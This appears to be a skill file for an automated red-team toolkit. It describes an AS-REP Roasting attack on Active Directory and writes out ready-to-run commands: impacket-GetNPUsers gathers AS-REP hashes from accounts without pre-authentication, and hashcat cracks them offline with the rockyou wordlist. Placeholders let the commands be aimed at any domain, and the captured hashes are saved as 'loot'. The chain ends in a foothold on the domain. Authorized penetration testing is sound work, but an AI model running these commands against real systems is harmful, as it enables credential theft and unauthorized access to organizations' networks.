---
name: rt-scenario-b003
description: "Scenario B003 — AS-REP Roasting: accounts with pre-auth disabled → offline crack → initial domain foothold."
---

# Scenario B003: AS-REP Roasting → Domain Foothold

**Domain**: Active Directory | **Severity**: High | **CVSS**: 8.1

## Chain
```
Enumerate users (no creds needed) → GetNPUsers → AS-REP hashes →
hashcat offline crack → valid domain user → internal recon
```

## Key Commands
```bash
docker exec rtexit-kali bash -c "
impacket-GetNPUsers {domain}/ -dc-ip {dc_ip} -usersfile /workspace/recon/{target}/users.txt \
  -format hashcat -outputfile /workspace/findings/loot/asrep.txt

hashcat -m 18200 /workspace/findings/loot/asrep.txt \
  /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt"
```
→ `rt-exploit-active-directory`
